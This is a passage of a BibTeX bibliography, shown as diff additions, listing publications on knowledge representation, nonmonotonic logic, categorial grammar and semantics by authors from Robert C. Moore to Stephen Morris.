+@techreport{ moore_rc:1980a, + author = {Robert C. Moore}, + title = {Reasoning about Knowledge and Action}, + institution = {{SRI} International}, + number = {Technical Note 191}, + year = {1980}, + address = {Menlo Park, California}, + topic = {kr;foundations-of-planning;action;epistemic-logic;kr-course;} + } + +@incollection{ moore_rc-hendrix:1982a, + author = {Robert C. Moore and Gary C. Hendrix}, + title = {Computational Models of Belief and the Semantics of + Belief Sentences}, + booktitle = {Processes, Beliefs, and Questions}, + publisher = {D. Reidel Publishing Company}, + year = {1982}, + editor = {Stanley Peters and Esa Saarinen}, + pages = {107--127}, + address = {Dordrecht}, + topic = {nl-semantics;propositional-attitudes;nl-semantics-and-cognition; + hyperintensionality;} + } + +@inproceedings{ moore_rc:1984a1, + author = {Robert Moore}, + title = {Possible Worlds Semantics for Autoepistemic Logic}, + booktitle = {Proceedings of the 1984 Non-Monotonic Reasoning + Workshop}, + year = {1984}, + pages = {344--354}, + xref = {Republication: moore_rc:1984a2.}, + topic = {autoepistemic-logic;} + } + +@incollection{ moore_rc:1984a2, + author = {Robert C. Moore}, + title = {Possible Worlds Semantics for Autoepistemic Logic}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {137--142}, + address = {Los Altos, California}, + xref = {Original Publication: moore_rc:1984a1.}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@article{ moore_rc:1985a1, + author = {Robert C. Moore}, + title = {Semantical Considerations on Nonmonotonic Logic}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {1}, + pages = {75--94}, + xref = {Republication: moore_rc:1985a2.}, + topic = {kr;nonmonotonic-logic;autoepistemic-logic;kr-course;} + } + +@incollection{ moore_rc:1985a2, + author = {Robert C. Moore}, + title = {Semantical Considerations on Nonmonotonic Logic}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {127--136}, + address = {Los Altos, California}, + xref = {Republished in James F. Allen and James Hendler and Austin + Tate; Readings in Planning; 1988. See moore:1988a2.}, + topic = {kr;nonmonotonic-logic;autoepistemic-logic;kr-course;} + } + +@incollection{ moore_rc:1985a3, + author = {Robert C. Moore}, + title = {A Formal Theory of Knowledge and Action}, + booktitle = {Formal Theories of the Commonsense World}, + editor = {Jerry R. Hobbs and Robert C. Moore}, + publisher = {Ablex Publishing Corporation}, + year = {1985}, + pages = {319--358}, + address = {Norwood, New Jersey}, + xref = {Journal Publication: moore_rc:1985a2.}, + topic = {kr;foundations-of-planning;action;epistemic-logic;kr-course;} + } + +@inproceedings{ moore_rc:1986a1, + author = {Robert C. Moore}, + title = {Reasoning about Knowledge and Action}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {223--227}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Republication: moore_rc:1986a2.}, + topic = {kr;foundations-of-planning;action;epistemic-logic;kr-course;} + } + +@incollection{ moore_rc:1986a2, + author = {Robert C. Moore}, + title = {Reasoning about Knowledge and Action}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {473--477}, + address = {Los Altos, California}, + xref = {Journal Publication: moore_rc:1986a2.}, + topic = {kr;foundations-of-planning;action;epistemic-logic;kr-course;} + } + +@article{ moore_rc:1987a, + author = {Robert C. Moore}, + title = {A Critique Critiqued}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {198--201}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@incollection{ moore_rc:1988a2, + author = {Robert C. Moore}, + title = {A Formal Theory of Knowledge and Action}, + booktitle = {Readings in Planning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {James F. Allen and James Hendler and Austin Tate}, + pages = {480--519}, + address = {San Mateo, California}, + xref = {Originally published in Jerry R. Hobbs and Robert C. Moore; + Formal Theories of the Commonsense World; 1988. See + moore:1988a1.}, + topic = {kr;epistemic-logic;foundations-of-planning;action;kr-course;} + } + +@inproceedings{ moore_rc:1988b, + author = {Robert C. Moore}, + title = {Is it Rational to be Logical?}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {363}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {logic-in-AI;} + } + +@unpublished{ moore_rc:1989a, + author = {Robert C. Moore}, + title = {Unification-Based Semantic Interpretation}, + year = {1989}, + month = {January}, + note = {Unpublished manuscript.}, + topic = {unification;nl-semantics;} + } + +@unpublished{ moore_rc-etal:1989a, + author = {Robert C. Moore and Fernando Pereira and Hy Murveit}, + title = {Integrating Speech and Natural Language Processing}, + year = {1989}, + note = {Unpublished manuscript, {SRI} International.}, + topic = {computational-linguistics;speech-processing;} + } + +@incollection{ moore_rc:1993a, + author = {Robert Moore}, + title = {Events, Situations, and Adverbs}, + booktitle = {Challenges in Natural Language Processing}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Madeleine Bates and Ralph Weischedel}, + pages = {135--145}, + address = {Cambridge, England}, + topic = {nl-semantics;events;} + } + +@article{ moore_rc:1993b, + author = {Robert C. Moore}, + title = {Autoepistemic Logic Revisited}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {27--30}, + topic = {nonmonotonic-logic;autoepistemic-logic;} + } + +@book{ moore_rc:1995a, + author = {Robert C. Moore}, + title = {Logic and Representation}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {kr;logic-in-AI;autoepistemic-logic;action;kr-course;} + } + +@book{ moore_s-wyner:1991a, + editor = {Steven Moore and {Adam Zachary} Wyner}, + title = {Proceedings from Semantics and Linguistic Theory {I}}, + publisher = {Cornell University}, + year = {1991}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;} + } + +@incollection{ moore_t:1985a, + author = {Terence Moore}, + title = {Reasoning and Inference in Logic and Language}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {51--66}, + address = {New York}, + topic = {pragmatics;pragmatic-reasoning;} + } + +@inproceedings{ moorhouse-mckee:1997a, + author = {Jane Moorhouse and Gerald McKee}, + title = {Modelling Evaluative Judgements}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {71--79}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;preferences;practical-reasoning;} + } + +@book{ moortgat:1988a, + author = {Michael Moortgat}, + title = {Categorial Investigations. Logical and Linguistic + Aspects of the {L}ambek Calculus}, + publisher = {Foris}, + year = {1988}, + address = {Dordrecht}, + topic = {categorial-grammar;lambek-calculus;} + } + +@article{ moortgat:1996a, + author = {Michael Moortgat}, + title = {Multimodal Linguistic Inference}, + journal = {Journal of Logic, Language, and Information}, + year = {1996}, + volume = {5}, + number = {3--4}, + pages = {349--385}, + topic = {categorial-grammar;Lambek-calculus;modal-logic;} + } + +@incollection{ moortgat:1996b, + author = {Michael Moortgat}, + title = {Categorial Type Logics}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + pages = {93--177}, + address = {Amsterdam}, + topic = {categorial-grammar;} + } + +@article{ moot-piazza:2000a, + author = {Richard Moot and Mario Piazza}, + title = {Linguistic Applications of First Order Intuitionistic + Linear Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {2}, + pages = {211--232}, + topic = {linear-logic;intuitionistic-logic;nl-quantifier-scope;} + } + +@article{ moot-puite:2002a, + author = {Richard Moot and Quintijn Puite}, + title = {Proof Nets for the Multimodal {L}ambek Calculus}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {3}, + pages = {415--442}, + topic = {Lambek-calculus;proof-theory;} + } + +@unpublished{ moran:1978a, + author = {Douglas E. Moran}, + title = {Conventional Implicature in Dynamic Semantics}, + year = {1978}, + note = {Unpublished manuscript, University of Michigan.}, + topic = {dynamic-semantics;conventional-implicature;} + } + +@incollection{ moravcick_e:1973a, + author = {Julius Moravcick}, + title = {Mass Terms in {E}nglish}, + booktitle = {Approaches to Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1973}, + editor = {Jaakko Hintikka}, + pages = {263--285}, + address = {Dordrecht}, + topic = {n;-semantics;mass-term-semantics;} + } + +@incollection{ moravcsik:1965a, + author = {Julius Moravcsik}, + title = {Strawson and Ontological Priority}, + booktitle = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + editor = {Ronald J. Butler}, + pages = {106--119}, + address = {Oxford}, + xref = {Commentary on: strawson_pf:1959a.}, + topic = {philosophical-ontology;} + } + +@book{ moravcsik_e:1977a, + author = {Edith Moravcsik}, + title = {Necesssary and Possible Universals about Temporal + Constituent-Relations in Language}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-tense;} + } + +@incollection{ moravec:1991a, + author = {H.P. Moravec}, + title = {Caution! Robot Vehicle!}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {331--343}, + address = {San Diego}, + topic = {robotics;robot-motion;robot-navigation;} + } + +@book{ moravec:1999a, + author = {Hans Moravec}, + title = {Robot: Mere Machine to Transcendent Mind}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + ISBN = {0-19-511630-5}, + xref = {Review: bennett_bh:1999a.}, + topic = {robotics;AI-survey;} + } + +@inproceedings{ morawietz-cornell:1997a, + author = {Frank Morawietz and Tom Cornell}, + title = {Representing Constraints with Automata}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {468--475}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {constraint-based-grammar;finite-tree-automata;} + } + +@article{ morenosandoval-menoyo:2002a, + author = {Antonio Moreno-Sandoval and Jos\'e Miguel Go\~ni-Menoyo}, + title = {Spanish Inflectional Morphology in {DATR}}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {1}, + pages = {79--105}, + topic = {Spanish-language;morphology;DATR;} + } + +@article{ morgan_cg:1970a, + author = {Charles G. Morgan}, + title = {Hypothesis Generation by Machine}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {2}, + number = {2}, + pages = {179--187}, + topic = {hypothesis-generation;abduction;} + } + +@article{ morgan_cg:1971a, + author = {Charles G. Morgan}, + title = {Hypothesis Generation by Machine}, + journal = {Artificial Intelligence}, + year = {1971}, + volume = {2}, + pages = {179--187}, + missinginfo = {number}, + topic = {abduction;} + } + +@article{ morgan_cg-pelletier:1977a, + author = {Charles Morgan and Francis Jeffry Pelletier}, + title = {Some Notes Concerning Fuzzy Logics}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {1}, + pages = {79--98}, + topic = {fuzzy-logic;} + } + +@article{ morgan_cg:1982a, + author = {Charles G. Morgan}, + title = {There is a Probabilistic Semantics for Every Extension of + Classical Sentence Logic}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {4}, + pages = {431--442}, + topic = {probability-semantics;} + } + +@article{ morgan_cg:1982b, + author = {Charles G. Morgan}, + title = {Simple Probabilistic Semantics for Propositional {K}, {T}, + {B}, {S4}, and {S5}}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {4}, + pages = {443--458}, + topic = {probability-semantics;} + } + +@article{ morgan_cg-mares:1995a, + author = {Charles G. Morgan and Edwin D. Mares}, + title = {Conditionals, Probability, and Non-Triviality}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {5}, + pages = {455--467}, + topic = {CCCP;} + } + +@incollection{ morgan_jl:1975a, + author = {Jerry L. Morgan}, + title = {Some Interactions of Syntax and Pragmatics}, + booktitle = {Syntax and Semantics 3: Speech Acts}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole}, + pages = {289--303}, + address = {New York}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ morgan_jl:1978a, + author = {Jerry L. Morgan}, + title = {Two Types of Convention in Indirect Speech Acts}, + booktitle = {Syntax and Semantics 9: Pragmatics}, + publisher = {Academic Press}, + year = {1978}, + editor = {Peter Cole}, + pages = {261--280}, + address = {New York}, + topic = {indirect-speech-acts;pragmatics;} + } + +@article{ morgan_jl-green_gm:1987a, + author = {Jerry L. Morgan and Georgia M. Green}, + title = {On the Search for Relevance}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {725--726}, + missinginfo = {number}, + topic = {implicature;relevance;} + } + +@book{ morgan_mg-henrion:1992a, + editor = {M. Granger Morgan and Max Henrion}, + title = {Uncertainty: A Guide to Dealing with Uncertainty + in Quantitative Risk and Policy Analysis}, + publisher = {Cambridge University Press}, + year = {1992}, + address = {Cambridge, England}, + ISBN = {0521427444}, + topic = {decision-analysis;decision-making-under-uncertainty;} + } + +@inproceedings{ morgenstern:1986a, + author = {Leora Morgenstern}, + title = {A First Order Theory of Planning, Knowledge, and Action}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {99--114}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {kr;epistemic-logic;foundations-of-planning;action;kr-course;} + } + +@inproceedings{ morgenstern-stein:1988a, + author = {Leora Morgenstern and Lynn Stein}, + title = {Why Things Go Wrong: a Formal Theory of Causal Reasoning}, + booktitle = {Proceedings of the Sixth National + Conference on Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + year = {1988}, + missinginfo = {pages}, + topic = {causality;frame-problem;Yale-shooting-problem;action-formalisms;} + } + +@article{ morgenstern:1990a, + author = {Leora Morgenstern}, + title = {Knowledge and the Frame Problem}, + journal = {International Journal of Expert Systems}, + year = {1990}, + volume = {3}, + number = {4}, + pages = {309--343}, + xref = {"Knowledge and the Frame Problem", in Ford and Hayes, eds.: + Reasoning Agents in a Dynamic World: The Frame Problem, 1991.}, + topic = {nonmonotonic-reasoning;reasoning-about-knowledge;} + } + +@inproceedings{ morgenstern:1990b, + author = {Leora Morgenstern}, + title = {A Theory of Multiple Agent Nonmonotonic Reasoning}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {538--544}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {reasoning-about-knowledge;nonmonotonic-reasoning;} + } + +@article{ morgenstern-stein:1994a, + author = {Leora Morgenstern and Lynn Stein}, + title = {Motivated Action Theory: a Formal Theory of Causal + Reasoning}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {1}, + pages = {1--42}, + topic = {causality;frame-problem;Yale-shooting-problem; + action-formalisms;} + } + +@incollection{ morgenstern:1996a, + author = {Leora Morgenstern}, + title = {Inheriting Well-formed Formulae in a Formula-Augmented + Semantic Network}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {268--279}, + address = {San Francisco, California}, + topic = {kr;inheritance-theory;applied-nonmonotonic-reasoning;} + } + +@incollection{ morgenstern:1996b, + author = {Leora Morgenstern}, + title = {The Problem with Solutions to the Frame Problem}, + booktitle = {The Robot's Dilemma Revisited: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + year = {1996}, + editor = {Kenneth M. Ford and Zenon Pylyshyn}, + pages = {99--133}, + address = {Norwood, New Jersey}, + topic = {frame-problem;} + } + +@inproceedings{ morgenstern:1997a, + author = {Leora Morgenstern}, + title = {Inheritance Comes of Age: Applying Nonmonotonic + Techniques to Problems in Industry}, + booktitle = {Proceedings of the Fifteenth International Joint + Conference on Artificial Intelligence}, + year = {1997}, + editor = {Martha Pollack}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + missinginfo = {pages}, + topic = {kr;inheritance-theory;applied-nonmonotonic-reasoning;} + } + +@inproceedings{ morgenstern-singh:1997a, + author = {Leora Morgenstern and Moninder Singh}, + title = {An Expert System Using Nonmonotonic Techniques + for Benefits Inquiry in the Insurance Industry}, + booktitle = {Proceedings of the Fifteenth International Joint + Conference on Artificial Intelligence}, + year = {1997}, + editor = {Martha Pollack}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + missinginfo = {pages}, + topic = {kr;inheritance-theory;applied-nonmonotonic-reasoning; + rules-and-regulations;} + } + +@article{ morgenstern:1998a, + author = {Leora Morgenstern}, + title = {Inheritance Comes of Age: Applying Nonmonotonic + Techniques to Problems in Industry}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {237--271}, + topic = {kr;inheritance-theory;applied-nonmonotonic-reasoning;} + } + +@inproceedings{ morgenstern:1998b, + author = {Leora Morgenstern}, + title = {Hypothetical Reasoning, Prediction, and Planning in a + Relativized-Branching-Time Ontology}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {53}, + note = {Abstract.}, + topic = {causality;planning-formalisms; + branching-time;} + } + +@inproceedings{ morgenstern-thomason_rh:2000a, + author = {Leora Morgenstern and Richmond H. Thomason}, + title = {Teaching Knowledge Representation: Challenges and + Proposals}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {725--733}, + topic = {kr;university-instruction;} + } + +@article{ morgenstern:2001a, + author = {Leora Morgenstern}, + title = {Mid-Sized Axiomatizations of Common-Sense Problems: + A Case Study in Egg-Cracking}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {3}, + pages = {333--384}, + topic = {common-sense-reasoning;kr;macro-formalization;} + } + +@incollection{ morik:1989a, + author = {Katherine Morik}, + title = {User Models and Conversational + Settings: Modelling the User's Wants}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {364--385}, + address = {Berlin}, + topic = {user-modeling;} + } + +@incollection{ morik:1998a, + author = {Katherine Morik}, + title = {How to Tailor Representations to Different Requirements + (Abstract)}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {650}, + address = {San Francisco, California}, + topic = {kr;applied-kr;kr-course;} + } + +@incollection{ morishima:1999a, + author = {Yasunori Morishima}, + title = {Effects of Discourse Context on + Inference Computation during Comprehension}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {491--494}, + address = {Berlin}, + topic = {context;cognitive-psychology;} + } + +@article{ mormonn:1992a, + author = {Thomas Mormonn}, + title = {Structural Accessibility and Similarity of Possible + Worlds}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {2}, + pages = {149--172}, + topic = {foundations-of-modality;} + } + +@incollection{ morreau:1990a, + author = {Michael Morreau}, + title = {Epistemic Semantics for Counterfactuals}, + booktitle = {Conditionals, Defaults, and Belief Revision}, + publisher = {Institut f\"ur maschinelle Sprachverarbeitung, + Universit\"at Stuttgart}, + year = {1990}, + note = {Dyana Deliverable R2.5.A.}, + editor = {Hans Kamp}, + pages = {1--27}, + address = {Stuttgart}, + topic = {conditionals;belief-revision;nonmonotonic-logic;} + } + +@incollection{ morreau:1992a, + author = {Michael Morreau}, + title = {Planning from First Principles}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {204--219}, + address = {Cambridge}, + topic = {belief-revision;action-formalisms;ability;dynamic-logic;} + } + +@article{ morreau:1992b, + author = {Michael Morreau}, + title = {Epistemic Semantics for Counterfactuals}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {1}, + pages = {33--62}, + topic = {conditionals;belief-revision;Ramsey-test;} + } + +@phdthesis{ morreau:1992c, + author = {Michael Morreau}, + title = {Conditionals in Philosophy and Artificial Intelligence}, + school = {Philosophy Department, University of Amsterdam}, + address = {Amsterdam}, + year = {1992}, + topic = {conditionals;nonmonotonic-logic;} + } + +@inproceedings{ morreau:1995a, + author = {Michael Morreau}, + title = {Allowed Arguments}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1466--1472}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {conditionals;nonmonotonic-logic;} + } + +@article{ morreau:1996a, + author = {Michael Morreau}, + title = {{\it Prima Facie} and Seeming Duties}, + journal = {Studia Logica}, + year = {1996}, + volume = {57}, + number = {1}, + pages = {47--71}, + topic = {deontic-logic;prima-facie-obligation;} + } + +@article{ morreau:1997a, + author = {Michael Morreau}, + title = {Fainthearted Conditionals}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {4}, + pages = {187--211}, + contentnote = {The term refers to conditionals + that don't support modus ponens.}, + topic = {conditionals;deontic-logic;} + } + +@incollection{ morreau:1997b, + author = {Michael Morreau}, + title = {Reasons to Think and Act}, + booktitle = {Defeasible Deontic Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Donald Nute}, + pages = {139--158}, + address = {Dordrecht}, + topic = {practical-reason;} + } + +@article{ morreau:1998a, + author = {Michael Morreau}, + title = {Review of {\it {F}or the Sake of Argument}, by {I}saac + {L}evi}, + journal = {The Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {10}, + pages = {540--546}, + xref = {Review of levi_i:1996a.}, + topic = {conditionals;nonmonotonic-reasoning;induction; + belief-kinematics;probability-kinematics;} + } + +@article{ morreau-kraus:1998a, + author = {Michael Morreau and Sarit Kraus}, + title = {Syntactical Treatments of Propositional Attitudes}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {339--355}, + topic = {syntactic-attitudes;} + } + +@article{ morreau-kraus:1998b, + author = {Michael Morreau and Sarit Kraus}, + title = {Syntactical Treatments of Propositional Attitudes}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {106}, + number = {1}, + pages = {161--177}, + topic = {syntactic-attitudes;} + } + +@article{ morreau:1999a, + author = {Michael Morreau}, + title = {Other Things Being Equal}, + journal = {Philosophical Studies}, + year = {1999}, + missinginfo = {volume,number,pages. Year is a guess. + Forthcoming.}, + topic = {ramification-problem;} + } + +@article{ morreau:1999b, + author = {Michael Morreau}, + title = {Supervaluations Can Leave Truth-Value Gaps + after All}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {3}, + pages = {148--156}, + topic = {supervaluations;truth-value-gaps;vagueness;} + } + +@article{ morreau:2002a, + author = {Michael Morreau}, + title = {What Vague Objects Are Like}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {7}, + pages = {333--361}, + topic = {vagueness;mereology;} + } + +@book{ morril:1994a, + author = {Glyn V. Morril}, + title = {Type Logical Grammar: Categorial Logic of Signs}, + publisher = {Dordrecht ; Boston : Kluwer Academic Publishers,}, + year = {1994}, + address = {Dordrecht}, + ISBN = {0792330951}, + topic = {categorial-grammar;type-theory;} + } + +@techreport{ morrill:1989a, + author = {Glyn Morrill}, + title = {Intensionality, Boundedness, and Modal Logic}, + institution = {Centre for Cognitive Science, University of + Edinburgh}, + number = {EUCCS/RP--32}, + year = {1989}, + address = {Edinburgh}, + topic = {categorial-grammar;Lambek-calculus;intensionality;} + } + +@article{ morrill:1990a, + author = {Glynn Morrill}, + title = {Intensionality and Boundedness}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {6}, + pages = {699--726}, + topic = {intensionality;categorial-grammar;} + } + +@article{ morrill-carpenter:1990a, + author = {Glyn Morrill and Bob Carpenter}, + title = {Compositionality, Implicational Logics, and Theories + of Grammar}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {4}, + pages = {383--392}, + topic = {compositionality;argument-structure;combinatory-logic;} + } + +@book{ morrill:1994a, + author = {Glyn V. Morrill}, + title = {Type Logical Grammar: Categorial Logic of Signs}, + publisher = {Kluwer Academic Publishers}, + year = {1994}, + address = {Dordrecht}, + ISBN = {0792330951}, + topic = {type-theory;grammar-formalisms;categorial-grammar;} + } + +@article{ morrill:1995a, + author = {Glyn Morrill}, + title = {Discontinuity in Categorial Grammar}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {2}, + pages = {175--219}, + topic = {categorial-grammar;discontinuous-constituents;} + } + +@article{ morrill:2000a, + author = {Glyn Morrill}, + title = {Incremental Processing and Acceptability}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {3}, + pages = {319--338}, + topic = {categorial-grammar;parsing-algorithms;parsing-psychology;} + } + +@book{ morris_cw:1937a, + author = {Charles W. Morris}, + title = {Logical Positivism, Pragmatism and Scientific Empiricism}, + publisher = {Hermann \& cie}, + year = {1937}, + address = {Paris}, + ISBN = {9027232873}, + topic = {logical-positivism;} + } + +@book{ morris_cw:1946a, + author = {Charles W. Morris}, + title = {Signs, Language and Behavior}, + publisher = {Prentice-Hall}, + year = {1946}, + address = {New York}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@book{ morris_cw:1964a, + author = {Charles W. Morris}, + title = {Signification and Significance: A Study of the Relations of + Signs and Values}, + publisher = {The {MIT} Press}, + year = {1964}, + address = {Cambridge, Massachusetts}, + topic = {nl-semantics;foundations-of-semantics; + philosophy-of-language;} + } + +@book{ morris_cw:1971a, + author = {Charles W. Morris}, + title = {Writings on the General Theory of Signs}, + publisher = {Mouton}, + year = {1971}, + address = {The Hague}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@incollection{ morris_cw:1971b, + author = {Charles W. Morris}, + title = {Foundations of the Theory of Signs}, + booktitle = {Writings on the General Theory of Signs}, + publisher = {Mouton}, + year = {1971}, + editor = {Charles W. Morris}, + pages = {17--74}, + address = {The Hague}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@book{ morris_cw:1993a, + author = {Charles W. Morris}, + title = {Symbolism and Reality: A Study in the Nature of Mind}, + publisher = {J. Benjamins Pub. Co.}, + year = {1993}, + address = {Amsterdam}, + ISBN = {9027232873 (paper}, + topic = {philosophy-of-mind;philosophy-of-language;} + } + +@book{ morris_hm:1974a, + author = {Henry M. Morris}, + title = {Many Infallible Proofs: Practical and Useful + Evidences of {C}hristianity}, + year = {1974}, + address = {San Diego}, + missinginfo = {publisher}, + topic = {fundamentalism;} + } + +@article{ morris_ph:1988a, + author = {Paul H. Morris}, + title = {The Anomalous Extension Problem in Default Reasoning}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {3}, + pages = {383--399}, + topic = {kr;yale-shooting-problem;kr-course;} + } + +@inproceedings{ morris_ra-morris_p:2000a, + author = {Robert A. Morris and Paul Morris}, + title = {On the Complexity of Reasoning about Repeating Events}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {580--568}, + topic = {temporal-reasoning;complexity-in-AI;events;} + } + +@incollection{ morris_s:1994a, + author = {Stephen Morris}, + title = {Revising Knowledge: A Hierarchical Approach}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {160--174}, + address = {San Francisco}, + topic = {foundations-of-utility-theory;qualitative-decision-theory;} + } + +@incollection{ morris_s:1996a, + author = {Stephen Morris}, + title = {Paradoxes of Common Knowledge Revisited: A Perspective + from Game Theory and Economics (Abstract)}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = 